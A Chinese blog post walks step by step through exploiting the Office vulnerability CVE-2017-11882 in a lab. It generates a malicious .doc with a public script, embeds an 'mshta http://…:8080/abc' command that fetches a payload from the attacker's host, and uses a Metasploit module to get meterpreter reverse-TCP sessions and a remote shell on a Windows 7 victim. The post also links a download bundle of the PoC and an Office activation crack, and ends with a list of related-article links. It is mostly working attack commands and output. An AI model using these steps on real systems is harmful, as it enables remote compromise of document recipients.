中午时候收到了推送的漏洞预警,在网上搜索相关信息看到很多大牛已经开发出生成doc文档的脚本和msf的poc,本文记录CVE-2017-11882 漏洞在 Msf下的利用。

0x00 漏洞简介

2017年11月14日,微软发布了11月份的安全补丁更新,其中比较引人关注的莫过于悄然修复了潜伏17年之久的Office远程代码执行漏洞(CVE-2017-11882)。该漏洞为Office内存破坏漏洞,影响目前流行的所有Office版本。攻击者可以利用漏洞以当前登录的用户的身份执行任意命令。 由于漏洞影响面较广,漏洞披露后,金睛安全研究团队持续对漏洞相关攻击事件进行关注。11月19日,监控到了已有漏洞POC在网上流传,随即迅速对相关样本进行了分析。目前该样本全球仅微软杀毒可以检测。

  • 漏洞影响版本:
  • Office 365
  • Microsoft Office 2000
  • Microsoft Office 2003
  • Microsoft Office 2007 Service Pack 3
  • Microsoft Office 2010 Service Pack 2
  • Microsoft Office 2013 Service Pack 1
  • Microsoft Office 2016

0x01 利用工具清单:

a) tcp反弹:kali 172.16.253.76

b) 安装office2013的系统:win7 172.16.253.4

1. Msf 用到的 Poc

2. office2013、激活工具

3. win7旗舰版ISO镜像

以上工具已经打包好,下载地址:

链接:http://pan.baidu.com/s/1o8635Om  密码:xl91

0x02 利用过程

1. 生成doc

  1. #安装启动nginx
  2. [root@ihoneysec ~]# yum -y install nginx
  3. [root@ihoneysec ~]# cd /usr/share/nginx/html/
  4. [root@ihoneysec html]# systemctl start nginx
  5.  
  6. #下载生成doc的python脚本
  7. [root@ihoneysec ~]# git clone https://github.com/Ridter/CVE-2017-11882.git
  8. [root@ihoneysec ~]# cd CVE-2017-11882/
  9. [root@ihoneysec CVE-2017-11882]# ls
  10. Command109b_CVE-2017-11882.py Command43b_CVE-2017-11882.py example README.md
  11.  
  12. #生成测试doc
  13. [root@ihoneysec CVE-2017-11882]# python Command43b_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o cve.doc
  14. [*] Done ! output file --> cve.doc
  15. [root@ihoneysec CVE-2017-11882]# cp cve.doc /usr/share/nginx/html/
  16.  
  17. #生成msf利用的doc
  18. [root@ihoneysec CVE-2017-11882]# python Command43b_CVE-2017-11882.py -c "mshta http://172.16.253.76:8080/abc" -o cve2.doc
  19. [*] Done ! output file --> cve2.doc
  20. [root@ihoneysec CVE-2017-11882]# cp cve2.doc /usr/share/nginx/html/
  21.  
  22. #放到网站根目录
  23. [root@ihoneysec CVE-2017-11882]# ls /usr/share/nginx/html/
  24. 404.html 50x.html cve.doc cve2.doc index.html nginx-logo.png poweredby.png

  

2. 测试正常弹出calc.exe计算器

3. kali msf配置Poc:

  1. root@kali:~# cd /
  2. # 将下载好的漏洞模块放在msf任意目录下
  3. root@kali:/# mv cve_2017_11882.rb /usr/share/metasploit-framework/modules/exploits/windows/smb/
  4. # 检查ip地址
  5. root@kali:/mnt/hgfs/kalishare# ifconfig
  6. eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
  7. inet 172.16.253.76 netmask 255.255.0.0 broadcast 172.16.255.255
  8. inet6 fe80::20c:29ff:fef5:82af prefixlen 64 scopeid 0x20<link>
  9. ether 00:0c:29:f5:82:af txqueuelen 1000 (Ethernet)
  10. RX packets 3136 bytes 987402 (964.2 KiB)
  11. RX errors 0 dropped 0 overruns 0 frame 0
  12. TX packets 255 bytes 20912 (20.4 KiB)
  13. TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
  14. # 启动postgresql服务,打开msf
  15. root@kali:/mnt/hgfs/kalishare# service postgresql start
  16. root@kali:/mnt/hgfs/kalishare# msfconsole
  17.  
  18. ...
  19.  
  20. =[ metasploit v4.16.6-dev ]
  21. + -- --=[ 1683 exploits - 964 auxiliary - 297 post ]
  22. + -- --=[ 498 payloads - 40 encoders - 10 nops ]
  23. + -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]
  24. # 搜索cve_2017_11882 漏洞模块
  25. msf > search cve_2017_11882
  26. Matching Modules
  27. ================
  28. Name Disclosure Date Rank Description
  29. ---- --------------- ---- -----------
  30. exploit/windows/smb/cve_2017_11882 normal Microsoft Office Payload Delivery
  31.  
  32. # 使用该模块
  33. msf > use exploit/windows/smb/cve_2017_11882
  34. # 设置payload为反弹tcp
  35. msf exploit(cve_2017_11882) > set payload windows/meterpreter/reverse_tcp
  36. payload => windows/meterpreter/reverse_tcp
  37. # 设置本机ip
  38. msf exploit(cve_2017_11882) > set lhost 172.16.253.76
  39. lhost => 172.16.253.76
  40. # 设置uri的路径,要与第一步生成doc时配置一致
  41. msf exploit(cve_2017_11882) > set URIPATH abc
  42. URIPATH => abc
  43. # 检查当前配置
  44. msf exploit(cve_2017_11882) > show options
  45.  
  46. Module options (exploit/windows/smb/cve_2017_11882):
  47. Name Current Setting Required Description
  48. ---- --------------- -------- -----------
  49. SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
  50. SRVPORT 8080 yes The local port to listen on.
  51. SSL false no Negotiate SSL for incoming connections
  52. SSLCert no Path to a custom SSL certificate (default is randomly generated)
  53. URIPATH abc no The URI to use for this exploit (default is random)
  54.  
  55. Payload options (windows/meterpreter/reverse_tcp):
  56. Name Current Setting Required Description
  57. ---- --------------- -------- -----------
  58. EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
  59. LHOST 172.16.253.76 yes The listen address
  60. LPORT 4444 yes The listen port
  61.  
  62. ...
  63.  
  64. # 启动利用后,msf会监听本机8080端口,如果win7机器打开doc触发访问172.16.253.76:8080/abc就会得到反弹到4444端口的tcp会话
  65. msf exploit(cve_2017_11882) > exploit
  66. [*] Exploit running as background job 0.
  67. # 开始监听
  68. [*] Started reverse TCP handler on 172.16.253.76:4444
  69. msf exploit(cve_2017_11882) > [*] Using URL: http://0.0.0.0:8080/abc
  70. [*] Local IP: http://172.16.253.76:8080/abc
  71. [*] Server started.
  72. [*] Place the following DDE in an MS document:
  73. mshta.exe "http://172.16.253.76:8080/abc"
  74. msf exploit(cve_2017_11882) > [*] 172.16.253.4 cve_2017_11882 - Delivering payload
  75. [*] Sending stage (179267 bytes) to 172.16.253.4 #收到反弹tcp连接
  76. [*] Meterpreter session 1 opened (172.16.253.76:4444 -> 172.16.253.4:49272) at 2017-11-23 15:14:06 +0800
  77. [*] 172.16.253.4 cve_2017_11882 - Delivering payload
  78. [*] Sending stage (179267 bytes) to 172.16.253.4
  79. [*] Meterpreter session 2 opened (172.16.253.76:4444 -> 172.16.253.4:49274) at 2017-11-23 15:14:17 +0800
  80.  
  81. msf exploit(cve_2017_11882) >
  82. msf exploit(cve_2017_11882) >
  83. msf exploit(cve_2017_11882) > sessions
  84. # 查看已经建立的反弹会话
  85. Active sessions
  86. ===============
  87.  
  88. Id Type Information Connection
  89. -- ---- ----------- ----------
  90. 1 meterpreter x86/windows win7-PC\win7 @ WIN7-PC 172.16.253.76:4444 -> 172.16.253.4:49272 (172.16.253.4)
  91. # 进入id为1的会话
  92. msf exploit(cve_2017_11882) > sessions -i 1
  93. [*] Starting interaction with 1...
  94. # 验证得到反弹连接是否是win7机器ip
  95. meterpreter > ipconfig
  96.  
  97. Interface 11
  98. ============
  99. Name : Intel(R) PRO/1000 MT Network Connection
  100. Hardware MAC : 00:0c:29:72:2e:7d
  101. MTU : 1500
  102. IPv4 Address : 172.16.253.4
  103. IPv4 Netmask : 255.255.0.0
  104. IPv6 Address : fe80::c15d:3813:94ec:d6c8
  105. IPv6 Netmask : ffff:ffff:ffff:ffff::
  106.  
  107. ......
  108. # 进入命令模式
  109. meterpreter > shell
  110. Process 2924 created.
  111. Channel 1 created.
  112. Microsoft Windows [�汾 6.1.7601]
  113. ��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ����
  114. # 查看当前系统用户、主机名
  115. C:\Windows\system32>net user
  116. net user
  117.  
  118. \\WIN7-PC ���û��ʻ�
  119.  
  120. -------------------------------------------------------------------------------
  121. Administrator Guest win7
  122. �����ɹ����ɡ�
  123.  
  124. C:\Windows\system32>

  

CVE-2017-11882漏洞 Msf利用复现的更多相关文章

  1. 20145330 《网络对抗》 Eternalblue(MS17-010)漏洞复现与S2-045漏洞的利用及修复

    20145330 <网络对抗> Eternalblue(MS17-010)漏洞利用工具实现Win 7系统入侵与S2-045漏洞的利用及修复 加分项目: PC平台逆向破解:注入shellco ...

  2. CVE-2019-0708漏洞利用复现

    CVE-2019-0708漏洞利用复现 距离这个漏洞爆出来也有好几个月了,之前一直忙也没来得及写文档,现在重新做一遍. 准备环境: win7靶机 IP地址:172.16.15.118 Kali攻击机 ...

  3. phpStudy后门漏洞利用复现

    phpStudy后门漏洞利用复现 一.漏洞描述 Phpstudy软件是国内的一款免费的PHP调试环境的程序集成包,通过集成Apache.PHP.MySQL.phpMyAdmin.ZendOptimiz ...

  4. MS17-010漏洞利用复现

    MS17-010漏洞利用复现 准备环境: win7靶机 IP地址:172.16.15.118 Kali攻击机 IP地址:172.16.15.50 首先我们需要查看一下靶机是否开启445端口 打开kal ...

  5. MSF利用ms17-010漏洞过程记录

    1.使用网上以上一个监测工具,扫描出存在ms17-010的主机地址 2.在kali中使用MSF进行检测,存在mf17-010漏洞 msf > use auxiliary/scanner/smb/ ...

  6. Redis未授权访问漏洞的利用及防护

    Redis未授权访问漏洞的利用及防护 什么是Redis未授权访问漏洞? Redis在默认情况下,会绑定在0.0.0.0:6379.如果没有采取相关的安全策略,比如添加防火墙规则.避免其他非信任来源IP ...

  7. Office高级威胁漏洞在野利用分析

    高级威胁漏洞背景 在高级威胁攻击中,黑客远程投递入侵客户端最喜欢的漏洞是office文档漏洞,就在刚刚结束不久的黑帽子大会上,最佳客户端安全漏洞奖颁给了CVE-2017-0199漏洞,这个漏洞是时下o ...

  8. DLink 815路由器栈溢出漏洞分析与复现

    DLink 815路由器栈溢出漏洞分析与复现 qemu模拟环境搭建 固件下载地址 File DIR-815_FIRMWARE_1.01.ZIP - Firmware for D-link DIR-81 ...

  9. Java反序列化漏洞通用利用分析

    原文:http://blog.chaitin.com/2015-11-11_java_unserialize_rce/ 博主也是JAVA的,也研究安全,所以认为这个漏洞非常严重.长亭科技分析的非常细致 ...

随机推荐

  1. http中错误代码的含义整理

    HTTP网页错误代码大全带解释 HTTP 400 - 请求无效HTTP 401.1 - 未授权:登录失败HTTP 401.2 - 未授权:服务器配置问题导致登录失败HTTP 401.3 - ACL 禁 ...

  2. 传统 HTML 表单数据的“整存整取”

    在日常开发中,涉及表单的处理司空见惯.过往,在取值和赋值的过程中,借助 jQuery 常常只是逐个控件进行操作,可惜这样开发效率并不高.那么能不能批量获取整个表单的值呢,以及批量为表单赋值. 一.取值 ...

  3. 解决 Win10 UWP 无法使用 ss 连接

    一旦使用了 ss, 那么很多应用就无法连接网络. 本文提供一个方法可以简单使用ss提供的代理. 多谢 wtwsgs 提供方法:http://blog.csdn.net/wtwsgs/article/d ...

  4. maven的java web项目启动找不到Spring ContextLoaderListener的解决办法

    用maven搭建的java web项目,上传到git仓库后,当同事clone下来项目,部署到tomcat运行时,就报了如下错误,即启动web项目时,加载web.xml文件,找不到spring的监听器, ...

  5. 使用Java 8中的Stream

    Stream是Java 8 提供的高效操作集合类(Collection)数据的API. 1. 从Iterator到Stream 有一个字符串的list,要统计其中长度大于7的字符串的数量,用迭代来实现 ...

  6. ADO.NET生成的数据库连接字符串解析

    1.概述 当我们使用ADO.NET数据实体模型生成的时候,在项目目下生成一个.edmx文件的同时,还会在app.config里面出现如下一个代码串: <?xml version="1. ...

  7. 【ASP.NET MVC 学习笔记】- 16 Model Binding(模型绑定)

    本文参考:http://www.cnblogs.com/willick/p/3424188.html. 1.Model Binding是Http请求和Action方法之间的桥梁,是MVC框架根据Htt ...

  8. 关于 SVN 项目检出

    前几天呢,同事遇到这么一个问题:他新建了一个工作空间,当他通过 svn 检出公司项目的时候,准备过来测试运行,但是呢出现了下面的报错 [ERROR] Failed to execute goal or ...

  9. 我搞zabbix的那两天

    摘要:在生产环境上对服务器进行网络参数(比如CPU.内存等)的监控是很必要的,比如当服务器网络参数如内存不够用.磁盘空间快要占满时及时通知运维人员进行处理,保证服务器系统的安全.而zabbix就是这么 ...

  10. 基于容器微服务的PaaS云平台设计(二)通过kubernetes实现微服务容器管理

    版权声明:本文为博主原创文章,欢迎转载,转载请注明作者.原文超链接 ,博主地址:http://www.cnblogs.com/SuperXJ/ 上一章描述了基于spring cloud的微服务实例(实 ...